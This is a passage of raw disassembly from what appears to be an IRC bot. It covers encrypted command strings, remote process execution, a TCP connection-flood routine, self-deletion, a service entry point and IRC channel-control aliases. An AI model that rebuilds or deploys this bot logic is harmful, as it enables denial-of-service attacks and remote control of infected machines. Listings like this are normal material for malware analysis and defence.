a8cbgoRjryr_ ; "8CBGO/rJRYr." push eax lea eax, [ebp+var_F0] push offset aSSS_1fkbToS@_1 ; "%s %s %s: %.1fKB to: %s @ %.1fKB/sec." push eax push [ebp+arg_0] call sub_41CDD4 add esp, 2Ch loc_418585: ; CODE XREF: sub_4182BA+266j cmp [ebp+var_60], ebx jnz loc_4188A1 cmp [ebp+var_5C], ebx jz loc_418A2A mov eax, [ebp+var_58] push 104h mov dword ptr [ebp+var_C+4], eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_4D4] push eax call sub_429D10 add esp, 0Ch lea eax, [ebp+var_4D4] push eax call dword_456EAC ; PathRemoveFileSpecA test eax, eax jnz short loc_418626 cmp [ebp+var_40], ebx mov esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." jnz short loc_4185F8 cmp [ebp+var_3C], ebx jnz short loc_418601 call dword_437170 ; RtlGetLastWin32Error push eax push esi push edi lea eax, [ebp+var_F0] push offset aSCouldnTParseP ; "%s Couldn't parse path, %s: <%d>" push eax push [ebp+arg_0] call sub_41CE4A add esp, 18h loc_4185F8: ; CODE XREF: sub_4182BA+317j cmp [ebp+var_3C], ebx jz loc_418700 loc_418601: ; CODE XREF: sub_4182BA+31Cj call dword_437170 ; RtlGetLastWin32Error push eax push esi push edi lea eax, [ebp+var_F0] push offset aSCouldnTParseP ; "%s Couldn't parse path, %s: <%d>" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h jmp loc_418700 ; --------------------------------------------------------------------------- loc_418626: ; CODE XREF: sub_4182BA+30Dj push 44h lea eax, [ebp+var_13C] push ebx push eax call sub_429760 push 10h lea eax, [ebp+var_28] push ebx push eax call sub_429760 mov eax, dword ptr [ebp+var_C+4] add esp, 18h neg eax sbb eax, eax mov [ebp+var_13C], 44h and al, 0FBh mov [ebp+var_110], 1 add eax, 5 mov [ebp+var_10C], ax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_13C] push eax lea eax, [ebp+var_4D4] push eax push ebx push ebx push ebx push ebx lea eax, [ebp+var_240] push ebx push eax push ebx call dword_4370D8 ; CreateProcessA test eax, eax jnz short loc_41870A cmp [ebp+var_40], ebx mov esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." jnz short loc_4186CF cmp [ebp+var_3C], ebx jnz short loc_4186D4 call dword_437170 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_240] push esi push eax push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push edi lea eax, [ebp+var_F0] push offset aSSToCreateProc ; "%s %s to create process: \"%s\", %s: <%d>"... push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h loc_4186CF: ; CODE XREF: sub_4182BA+3E2j cmp [ebp+var_3C], ebx jz short loc_418700 loc_4186D4: ; CODE XREF: sub_4182BA+3E7j call dword_437170 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_240] push esi push eax push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push edi lea eax, [ebp+var_F0] push offset aSSToCreateProc ; "%s %s to create process: \"%s\", %s: <%d>"... push eax push [ebp+arg_0] call sub_41CDD4 add esp, 20h loc_418700: ; CODE XREF: sub_4182BA+341j ; sub_4182BA+367j ... xor eax, eax pop edi pop esi inc eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_41870A: ; CODE XREF: sub_4182BA+3D8j call esi ; dword_437188 cmp [ebp+var_40], ebx mov dword ptr [ebp+var_C+4], eax jnz short loc_41873B cmp [ebp+var_3C], ebx jnz short loc_418740 push dword ptr [ebp+var_20] lea eax, [ebp+var_240] push eax push edi lea eax, [ebp+var_F0] push offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>" push eax push [ebp+arg_0] call sub_41CE4A add esp, 18h loc_41873B: ; CODE XREF: sub_4182BA+458j cmp [ebp+var_3C], ebx jz short loc_418762 loc_418740: ; CODE XREF: sub_4182BA+45Dj push dword ptr [ebp+var_20] lea eax, [ebp+var_240] push eax push edi lea eax, [ebp+var_F0] push offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_418762: ; CODE XREF: sub_4182BA+484j cmp [ebp+var_44], ebx jz loc_41887C push 0FFFFFFFFh push [ebp+var_28] call dword_43707C ; WaitForSingleObject call esi ; dword_437188 sub eax, dword ptr [ebp+var_C+4] xor edx, edx mov ecx, 3E8h push 3Ch div ecx xor edx, edx mov ecx, 15180h pop esi mov [ebp+var_2B8], bl div ecx mov ecx, 0E10h mov eax, edx xor edx, edx div ecx mov ecx, eax mov eax, edx xor edx, edx div esi cmp ecx, ebx mov esi, edx mov dword ptr [ebp+var_C+4], eax jbe short loc_4187EA cmp ecx, 1 mov eax, offset aHour ; " hour" jz short loc_4187C1 mov eax, offset aHours ; " hours" loc_4187C1: ; CODE XREF: sub_4182BA+500j push eax push ecx lea eax, [ebp+var_330] push offset aDS ; " %d%s" push eax call sub_429B03 lea eax, [ebp+var_330] push eax lea eax, [ebp+var_2B8] push eax call sub_42A5E0 add esp, 18h loc_4187EA: ; CODE XREF: sub_4182BA+4F6j push esi lea eax, [ebp+var_330] push dword ptr [ebp+var_C+4] push offset a_2d_2d ; " %.2d:%.2d" push eax call sub_429B03 lea eax, [ebp+var_330] push eax lea eax, [ebp+var_2B8] push eax call sub_42A5E0 add esp, 18h cmp [ebp+var_3C], ebx mov esi, offset aSProcessSSTota ; "%s Process %s: \"%s\", Total %s Time: %s."... jnz short loc_418850 lea eax, [ebp+var_2B8] push eax lea eax, [ebp+var_240] push offset aIhfnL6b5x ; "/iHFN/l6B5X/" push eax push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0" push edi lea eax, [ebp+var_F0] push esi push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h cmp [ebp+var_3C], ebx jz short loc_41887C loc_418850: ; CODE XREF: sub_4182BA+563j lea eax, [ebp+var_2B8] push eax lea eax, [ebp+var_240] push offset aIhfnL6b5x ; "/iHFN/l6B5X/" push eax push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0" push edi lea eax, [ebp+var_F0] push esi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 20h loc_41887C: ; CODE XREF: sub_4182BA+4ABj ; sub_4182BA+594j cmp [ebp+var_28], ebx jz short loc_41888A push [ebp+var_28] call dword_437044 ; CloseHandle loc_41888A: ; CODE XREF: sub_4182BA+5C5j cmp [ebp+var_24], ebx jz loc_418A2A push [ebp+var_24] call dword_437044 ; CloseHandle jmp loc_418A2A ; --------------------------------------------------------------------------- loc_4188A1: ; CODE XREF: sub_4182BA+2CEj push 10h lea eax, [ebp+var_14] push ebx push eax call sub_429760 push 44h lea eax, [ebp+var_13C] pop esi push esi push ebx push eax call sub_429760 add esp, 18h lea eax, [ebp+var_14] mov [ebp+var_13C], esi mov [ebp+var_10C], bx push eax lea eax, [ebp+var_13C] push eax push ebx push ebx push 28h push ebx push ebx lea eax, [ebp+var_240] push ebx push eax push ebx call dword_4370D8 ; CreateProcessA cmp eax, 1 jnz short loc_418947 xor eax, eax cmp [ebp+var_54], 1 setz al push eax push 1 call sub_427DAA mov esi, dword_437190 pop ecx pop ecx push 7D0h call esi ; dword_437190 call sub_4235A4 push 64h call esi ; dword_437190 push offset a3un9w_temux_5y ; "3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1" push [ebp+arg_0] call sub_41CAB4 pop ecx pop ecx push 3E8h call esi ; dword_437190 mov ecx, [ebp+arg_0] call sub_41CA82 call dword_456E58 ; WSACleanup push ebx call dword_4370D4 ; ExitProcess loc_418947: ; CODE XREF: sub_4182BA+637j cmp [ebp+var_40], ebx mov esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." mov edi, offset aSSSSExecutingF ; "%s %s %s: %s executing file: %s." jnz short loc_418980 lea eax, [ebp+var_240] push eax push esi push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push offset aW3nki_guvjx ; "w3NKI.gUvJx/" push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" lea eax, [ebp+var_F0] push edi push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h loc_418980: ; CODE XREF: sub_4182BA+69Aj cmp [ebp+var_3C], ebx jz loc_418A2A lea eax, [ebp+var_240] push eax push esi push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0" push offset aW3nki_guvjx ; "w3NKI.gUvJx/" push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" lea eax, [ebp+var_F0] push edi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 20h jmp short loc_418A2A ; --------------------------------------------------------------------------- loc_4189B5: ; CODE XREF: sub_4182BA+7Fj cmp [ebp+var_40], ebx mov esi, dword_437170 mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/" jnz short loc_4189FB cmp [ebp+var_3C], ebx jnz short loc_418A00 cmp [ebp+var_60], ebx mov dword ptr [ebp+var_C+4], offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" jnz short loc_4189D9 mov dword ptr [ebp+var_C+4], edi loc_4189D9: ; CODE XREF: sub_4182BA+71Aj call esi ; dword_437170 push eax push offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A." push dword ptr [ebp+var_C+4] lea eax, [ebp+var_F0] push offset aSSD ; "%s %s <%d>" push eax push [ebp+arg_0] call sub_41CE4A add esp, 18h loc_4189FB: ; CODE XREF: sub_4182BA+709j cmp [ebp+var_3C], ebx jz short loc_418A2A loc_418A00: ; CODE XREF: sub_4182BA+70Ej cmp [ebp+var_60], ebx jz short loc_418A0A mov edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" loc_418A0A: ; CODE XREF: sub_4182BA+749j call esi ; dword_437170 push eax push offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A." push edi lea eax, [ebp+var_F0] push offset aSSD ; "%s %s <%d>" push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_418A2A: ; CODE XREF: sub_4182BA+2D7j ; sub_4182BA+5D3j ... push [ebp+var_70] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread sub_4182BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A3A proc near ; CODE XREF: sub_418AD3+DFp ; sub_418AD3+225p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi mov edi, [ebp+arg_0] push dword ptr [edi] call dword_4372A4 ; gethostbyname mov esi, eax test esi, esi jnz short loc_418A58 push 0FFFFFFFEh pop eax jmp short loc_418ACF ; --------------------------------------------------------------------------- loc_418A58: ; CODE XREF: sub_418A3A+17j push 10h lea eax, [ebp+var_10] push 0 push eax call sub_429760 movsx eax, word ptr [esi+0Ah] push eax lea eax, [ebp+var_C] push eax mov eax, [esi+0Ch] push dword ptr [eax] call sub_429420 mov ax, [esi+8] add esp, 18h mov [ebp+var_10], ax push [ebp+arg_4] call dword_4372C4 ; ntohs push dword ptr [edi] mov [ebp+var_E], ax call sub_41E3EC mov [ebp+var_C], eax pop ecx movsx eax, [ebp+var_10] push 0 push 1 push eax call dword_4372BC ; socket mov esi, eax test esi, esi jl short loc_418AC8 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4372CC ; connect test eax, eax jge short loc_418ACD push esi call sub_42F1A0 pop ecx loc_418AC8: ; CODE XREF: sub_418A3A+74j or eax, 0FFFFFFFFh jmp short loc_418ACF ; --------------------------------------------------------------------------- loc_418ACD: ; CODE XREF: sub_418A3A+85j mov eax, esi loc_418ACF: ; CODE XREF: sub_418A3A+1Cj ; sub_418A3A+91j pop edi pop esi leave retn sub_418A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AD3 proc near ; DATA XREF: sub_40A9FE+7AD4o var_13C = dword ptr -13Ch var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 13Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 48h mov esi, eax pop ecx lea edi, [ebp+var_13C] rep movsd mov esi, dword_437188 mov dword ptr [eax+11Ch], 1 mov eax, [ebp+var_13C] mov [ebp+var_8], eax call esi ; dword_437188 mov ecx, [ebp+var_38] mov [ebp+arg_0], eax lea eax, [ebp+var_138] xor ebx, ebx cmp [ebp+var_24], ebx mov [ebp+var_14], eax mov eax, [ebp+var_34] mov [ebp+var_10], ecx mov [ebp+var_4], eax mov edi, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." jnz short loc_418B57 cmp [ebp+var_28], ebx jnz short loc_418B5C push [ebp+var_30] push eax lea eax, [ebp+var_138] push ecx push eax push edi lea eax, [ebp+var_B8] push offset aSSendingSDDCon ; "%s -> Sending (%s:%d) (%d) connects(s) "... push eax push [ebp+var_8] call sub_41CE4A add esp, 20h loc_418B57: ; CODE XREF: sub_418AD3+59j cmp [ebp+var_28], ebx jz short loc_418B84 loc_418B5C: ; CODE XREF: sub_418AD3+5Ej push [ebp+var_30] lea eax, [ebp+var_138] push [ebp+var_34] push [ebp+var_38] push eax push edi lea eax, [ebp+var_B8] push offset aSSendingSDDC_0 ; "%s -> Sending (%s:%d) (%d) conn(s) for "... push eax push [ebp+var_8] call sub_41CDD4 add esp, 20h loc_418B84: ; CODE XREF: sub_418AD3+87j cmp [ebp+var_4], ebx jnz loc_418C6A mov [ebp+var_4], ebx call esi ; dword_437188 sub eax, [ebp+arg_0] mov edi, 3E8h xor edx, edx mov ecx, edi div ecx cmp eax, [ebp+var_30] ja short loc_418BED mov ebx, dword_437190 loc_418BAB: ; CODE XREF: sub_418AD3+116j push [ebp+var_10] lea eax, [ebp+var_14] push eax call sub_418A3A pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_418BC1 push edi jmp short loc_418BD9 ; --------------------------------------------------------------------------- loc_418BC1: ; CODE XREF: sub_418AD3+E9j mov eax, [ebp+var_4] mov ecx, 1F4h cdq idiv ecx inc [ebp+var_4] cmp edx, 1F3h jnz short loc_418BDB push 0Ah loc_418BD9: ; CODE XREF: sub_418AD3+ECj call ebx ; dword_437190 loc_418BDB: ; CODE XREF: sub_418AD3+102j call esi ; dword_437188 sub eax, [ebp+arg_0] xor edx, edx mov ecx, edi div ecx cmp eax, [ebp+var_30] jbe short loc_418BAB loc_418BEB: ; CODE XREF: sub_418AD3+273j ; sub_418AD3+287j xor ebx, ebx loc_418BED: ; CODE XREF: sub_418AD3+D0j push [ebp+var_2C] call sub_423623 cmp [ebp+var_24], ebx pop ecx mov edi, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov esi, offset aSSSDSentDConnS ; "%s %s (%s:%d) Sent: (%d) conn(s) for (%"... jnz short loc_418C33 cmp [ebp+var_28], ebx jnz short loc_418C38 push [ebp+var_30] lea eax, [ebp+var_138] push [ebp+var_34] push [ebp+var_38] push eax push edi push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." lea eax, [ebp+var_B8] push esi push eax push [ebp+var_8] call sub_41CE4A add esp, 24h loc_418C33: ; CODE XREF: sub_418AD3+130j cmp [ebp+var_28], ebx jz short loc_418C61 loc_418C38: ; CODE XREF: sub_418AD3+135j push [ebp+var_30] lea eax, [ebp+var_138] push [ebp+var_34] push [ebp+var_38] push eax push edi push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." lea eax, [ebp+var_B8] push esi push eax push [ebp+var_8] call sub_41CDD4 add esp, 24h loc_418C61: ; CODE XREF: sub_418AD3+163j ; sub_418AD3+1DCj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418AD3+B4j push 4 push [ebp+var_4] call sub_42B39A pop ecx cmp eax, ebx pop ecx mov [ebp+var_18], eax mov [ebp+var_C], ebx jnz short loc_418CC7 push [ebp+var_2C] call sub_423623 cmp [ebp+var_24], ebx pop ecx mov esi, offset aSErrorOutOfMem ; "%s Error: Out Of Mem!" jnz short loc_418CAC cmp [ebp+var_28], ebx jnz short loc_418CB1 push edi lea eax, [ebp+var_B8] push esi push eax push [ebp+var_8] call sub_41CE4A add esp, 10h loc_418CAC: ; CODE XREF: sub_418AD3+1BEj cmp [ebp+var_28], ebx jz short loc_418C61 loc_418CB1: ; CODE XREF: sub_418AD3+1C3j push edi lea eax, [ebp+var_B8] push esi push eax push [ebp+var_8] call sub_41CDD4 add esp, 10h jmp short loc_418C61 ; --------------------------------------------------------------------------- loc_418CC7: ; CODE XREF: sub_418AD3+1ABj call esi ; dword_437188 mov ebx, dword_437190 mov edi, 3E8h jmp short loc_418D31 ; --------------------------------------------------------------------------- loc_418CD6: ; CODE XREF: sub_418AD3+26Aj mov eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [eax+ecx*4] mov [ebp+var_1C], eax mov eax, [eax] test eax, eax jz short loc_418D0C push eax call sub_42F1A0 pop ecx jmp short loc_418D0C ; --------------------------------------------------------------------------- loc_418CF1: ; CODE XREF: sub_418AD3+247j push [ebp+var_10] lea eax, [ebp+var_14] push eax call sub_418A3A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov ecx, [ebp+var_1C] mov [ecx], eax jnz short loc_418D1C push edi call ebx ; dword_437190 loc_418D0C: ; CODE XREF: sub_418AD3+213j ; sub_418AD3+21Cj call esi ; dword_437188 sub eax, [ebp+arg_0] mov ecx, edi xor edx, edx div ecx cmp eax, [ebp+var_30] jbe short loc_418CF1 loc_418D1C: ; CODE XREF: sub_418AD3+234j inc [ebp+var_C] mov eax, [ebp+var_C] cmp eax, [ebp+var_4] jnz short loc_418D2F and [ebp+var_C], 0 push 1 call ebx ; dword_437190 loc_418D2F: ; CODE XREF: sub_418AD3+252j call esi ; dword_437188 loc_418D31: ; CODE XREF: sub_418AD3+201j sub eax, [ebp+arg_0] mov ecx, edi xor edx, edx div ecx cmp eax, [ebp+var_30] jbe short loc_418CD6 mov eax, [ebp+var_C] inc eax cmp eax, [ebp+var_4] jnz loc_418BEB loc_418D4C: ; CODE XREF: sub_418AD3+291j call esi ; dword_437188 sub eax, [ebp+arg_0] mov ecx, edi xor edx, edx div ecx cmp eax, [ebp+var_30] ja loc_418BEB push 1 call ebx ; dword_437190 jmp short loc_418D4C sub_418AD3 endp ; =============== S U B R O U T I N E ======================================= sub_418D66 proc near ; DATA XREF: .text:0043A008o ; FUNCTION CHUNK AT 00418D7A SIZE 0000000C BYTES call sub_418D70 jmp loc_418D7A sub_418D66 endp ; =============== S U B R O U T I N E ======================================= sub_418D70 proc near ; CODE XREF: sub_418D66p ; FUNCTION CHUNK AT 0041C40A SIZE 00000020 BYTES mov ecx, offset dword_457E1C jmp loc_41C40A sub_418D70 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418D66 loc_418D7A: ; CODE XREF: sub_418D66+5j push offset sub_418D86 call sub_42B869 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_418D66 ; =============== S U B R O U T I N E ======================================= sub_418D86 proc near ; DATA XREF: sub_418D66:loc_418D7Ao ; FUNCTION CHUNK AT 0041C42A SIZE 0000000E BYTES mov ecx, offset dword_457E1C jmp loc_41C42A sub_418D86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D90 proc near ; CODE XREF: sub_40A9FE+6B4p ; sub_418FA1+24Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi mov esi, offset dword_4570C0 mov ebx, 0B8h loc_418DA4: ; CODE XREF: sub_418D90+32j cmp byte ptr [esi], 0 jz short loc_418DC6 push [ebp+arg_0] push esi call dword_437178 ; lstrcmpiA test eax, eax jz short loc_418DC6 inc [ebp+var_4] add esi, ebx cmp esi, offset dword_457C40 jl short loc_418DA4 jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DC6: ; CODE XREF: sub_418D90+17j ; sub_418D90+25j mov esi, [ebp+var_4] push edi imul esi, 0B8h push ebx push 0 lea edi, dword_4570C0[esi] push edi call sub_429760 push 17h push [ebp+arg_0] push edi call sub_429D10 push 9Fh lea eax, dword_4570D8[esi] push [ebp+arg_4] push eax call sub_429D10 add esp, 24h inc dword_445D28 pop edi loc_418E08: ; CODE XREF: sub_418D90+34j mov eax, [ebp+var_4] pop esi pop ebx leave retn sub_418D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E0F proc near ; CODE XREF: .text:0042C64Fp var_428 = byte ptr -428h var_324 = byte ptr -324h var_220 = byte ptr -220h var_11C = byte ptr -11Ch var_11B = byte ptr -11Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 428h push ebx call sub_417362 call sub_40A7C5 test eax, eax jz short loc_418E37 push 1 call sub_427C81 pop ecx push 1 call dword_4370D4 ; ExitProcess loc_418E37: ; CODE XREF: sub_418E0F+16j xor ebx, ebx push offset aMessageboxa ; "MessageBoxA" push offset aUser32_dll ; "user32.dll" mov [ebp+var_8], 0C8h mov [ebp+var_7], bl mov [ebp+var_6], 4 mov [ebp+var_5], bl mov [ebp+var_4], 60h call dword_437034 ; LoadLibraryA push eax call dword_437030 ; GetProcAddress lea ecx, [ebp+var_8] push 5 push ecx push eax call sub_42A520 add esp, 0Ch test eax, eax jnz short loc_418E77 loc_418E75: ; CODE XREF: sub_418E0F:loc_418E75j jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E77: ; CODE XREF: sub_418E0F+64j push esi push edi push dword_445D20 push dword_445D24 call sub_416596 pop ecx pop ecx call sub_41567F push 2 mov [ebp+var_18], offset dword_4439CC mov [ebp+var_14], offset sub_422147 mov [ebp+var_10], ebx mov [ebp+var_C], ebx call dword_457004 ; SetErrorMode lea eax, [ebp+var_428] push 104h push eax push ebx call dword_437070 ; GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA push 40h xor eax, eax pop ecx lea edi, [ebp+var_11B] mov [ebp+var_11C], bl push ebx rep stosd push dword_4439A4 stosw stosb lea eax, [ebp+var_11C] push eax push ebx call dword_437260 mov esi, dword_4370B4 lea eax, [ebp+var_11C] push eax push offset dword_457D18 call esi ; dword_4370B4 lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_324] push eax call esi ; dword_4370B4 mov esi, offset dword_4439A8 lea eax, [ebp+var_324] push esi push eax lea eax, [ebp+var_220] push offset dword_445D68 push eax call sub_429B03 lea eax, [ebp+var_324] push esi push eax call sub_4278B2 add esp, 18h test eax, eax pop edi pop esi jz short loc_418F7F lea eax, [ebp+var_428] push 1 push eax push offset byte_445013 push offset dword_444F14 push dword_444F10 call sub_421409 lea eax, [ebp+var_220] push eax call sub_4221E4 add esp, 18h push 1 call dword_4370D4 ; ExitProcess loc_418F7F: ; CODE XREF: sub_418E0F+139j lea eax, [ebp+var_18] push eax call dword_45701C ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_418F9A lea eax, [ebp+var_220] push eax call sub_4221E4 pop ecx loc_418F9A: ; CODE XREF: sub_418E0F+17Cj xor eax, eax pop ebx leave retn 10h sub_418E0F endp ; =============== S U B R O U T I N E ======================================= sub_418FA1 proc near ; DATA XREF: sub_4222F7+Co ; sub_42245D+15Fo var_3B0 = byte ptr -3B0h var_398 = byte ptr -398h var_380 = byte ptr -380h var_374 = qword ptr -374h var_368 = dword ptr -368h var_364 = byte ptr -364h var_358 = qword ptr -358h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_2CC = dword ptr -2CCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h sub esp, 334h push ebx push ebp push esi push edi xor ebx, ebx push offset aGx000032 ; "gx000032" push ebx push ebx call dword_4370E0 ; CreateMutexA mov dword_457F64, eax call dword_437170 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_418FD3 push ebx call dword_4370D4 ; ExitProcess loc_418FD3: ; CODE XREF: sub_418FA1+29j push offset aNxruj_viib6 ; "nxruJ.vIib6/" mov edi, offset aSS_1 ; "%s %s" push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push edi push ebx call sub_4234A7 xor ebp, ebp inc ebp push ebp push offset byte_445013 push offset dword_444F14 push dword_444F10 call sub_421340 mov esi, eax add esp, 20h cmp esi, ebx jz short loc_41905D push 80h push esi call dword_437068 ; SetFileAttributesA mov [esp+35Ch+var_348], ebx jmp short loc_41903A ; --------------------------------------------------------------------------- loc_41901D: ; CODE XREF: sub_418FA1+A2j cmp [esp+35Ch+var_348], 3 jge short loc_419045 push esi call dword_437060 ; DeleteFileA inc [esp+360h+var_34C] push 7D0h call dword_437190 ; Sleep loc_41903A: ; CODE XREF: sub_418FA1+7Aj push esi call sub_4277C0 test eax, eax pop ecx jnz short loc_41901D loc_419045: ; CODE XREF: sub_418FA1+81j push offset byte_445013 push offset dword_444F14 push dword_444F10 call sub_420F6C add esp, 0Ch loc_41905D: ; CODE XREF: sub_418FA1+68j mov esi, dword_437188 call esi ; dword_437188 push eax call sub_429B8F pop ecx lea eax, [esp+364h+var_348] push eax call dword_4370D0 ; QueryPerformanceCounter lea eax, [esp+368h+var_344] push eax call dword_43718C ; QueryPerformanceFrequency cmp [esp+36Ch+var_34C], ebx jl short loc_4190D2 jg short loc_419090 cmp [esp+36Ch+var_350], ebx jbe short loc_4190D2 loc_419090: ; CODE XREF: sub_418FA1+E7j cmp [esp+36Ch+var_344], ebx jl short loc_4190D2 jg short loc_41909E cmp [esp+36Ch+var_348], ebx jbe short loc_4190D2 loc_41909E: ; CODE XREF: sub_418FA1+F5j push [esp+36Ch+var_344] push [esp+370h+var_348] push [esp+374h+var_34C] push [esp+378h+var_350] call sub_42B2F0 push ecx push ecx ; double mov dword ptr [esp+374h+var_358], eax mov dword ptr [esp+374h+var_358+4], edx fild [esp+374h+var_358] fstp [esp+374h+var_374] call sub_42A706 pop ecx pop ecx call sub_42A9E0 jmp short loc_4190D4 ; --------------------------------------------------------------------------- loc_4190D2: ; CODE XREF: sub_418FA1+E5j ; sub_418FA1+EDj ... call esi ; dword_437188 loc_4190D4: ; CODE XREF: sub_418FA1+12Fj mov dword_457E58, eax lea eax, [esp+36Ch+var_1B8] push eax push 202h call dword_456E78 ; WSAStartup test eax, eax jz short loc_4190F8 push 0FFFFFFFEh call dword_4370D4 ; ExitProcess loc_4190F8: ; CODE XREF: sub_418FA1+14Dj cmp dword_457034, ebx jnz short loc_419107 call sub_427BC4 jmp short loc_419118 ; --------------------------------------------------------------------------- loc_419107: ; CODE XREF: sub_418FA1+15Dj push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset dword_676418 call sub_429B03 pop ecx pop ecx loc_419118: ; CODE XREF: sub_418FA1+164j push offset aAqejv_njvii_y8 ; "aQeJV.nJvIi.y8Ri./b5L.q." push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push edi push 5 mov [esp+388h+var_368], ebx call sub_4234A7 add esp, 10h mov esi, eax lea eax, [esp+378h+var_368] push eax push ebx push ebx push offset sub_41BD1E push ebx push ebx call dword_437180 ; CreateThread imul esi, 2724h push offset a5gcpxGycn21n1z ; "5GCpx/gYCn21N1Zsj.w3Ty30" push offset aFfec81uznt81 ; "fFEC81UzNT81" push edi push 3 mov dword_46D72C[esi], eax mov [esp+3A0h+var_2CC], ebp call sub_4234A7 add esp, 10h mov esi, eax lea eax, [esp+390h+var_380] mov edi, dword_437180 push eax lea eax, [esp+394h+var_364] push ebx push eax push offset sub_422009 push ebx push ebx call edi ; dword_437180 imul esi, 2724h push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset dword_446348 push 4 mov dword_46D72C[esi], eax call sub_4234A7 add esp, 0Ch mov esi, eax lea eax, [esp+3A8h+var_398] push eax lea eax, [esp+3ACh+var_2B8] push ebx push eax push offset sub_41EBE9 push ebx push ebx call edi ; dword_437180 imul esi, 2724h mov dword_46D72C[esi], eax call sub_402BD7 push 0B80h push ebx push offset dword_4570C0 call sub_429760 push offset aRPrivmsg1GodDa ; "r PRIVMSG $1 god damnit,hard bitchslaps"... push offset aSlaps ; "slaps" call sub_418D90 push offset aRPrivmsg1Slaps ; "r PRIVMSG $1 slaps for You!!" push offset aSlap ; "slap" call sub_418D90 push offset aRPrivmsg1_ ; "r PRIVMSG $1 :." push offset off_4462D0 call sub_418D90 push offset aR1_ ; "r $1 :." push offset aCtc2 ; "ctc2" call sub_418D90 push offset aRModeChanO1 ; "r MODE $chan +o $1" push offset aOps ; "ops" call sub_418D90 push offset aRModeChanV1 ; "r MODE $chan +v $1" push offset aVoice ; "voice" call sub_418D90 push offset aRModeChanH1 ; "r MODE $chan +h $1" push offset aHalfop ; "halfop" call sub_418D90 add esp, 44h push offset aRModeChanB1 ; "r MODE $chan +b $1" push offset aBan ; "ban" call sub_418D90 push ebp push offset a5000 ; "5000" push offset aWaittokillserv ; "WaitToKillServiceT" 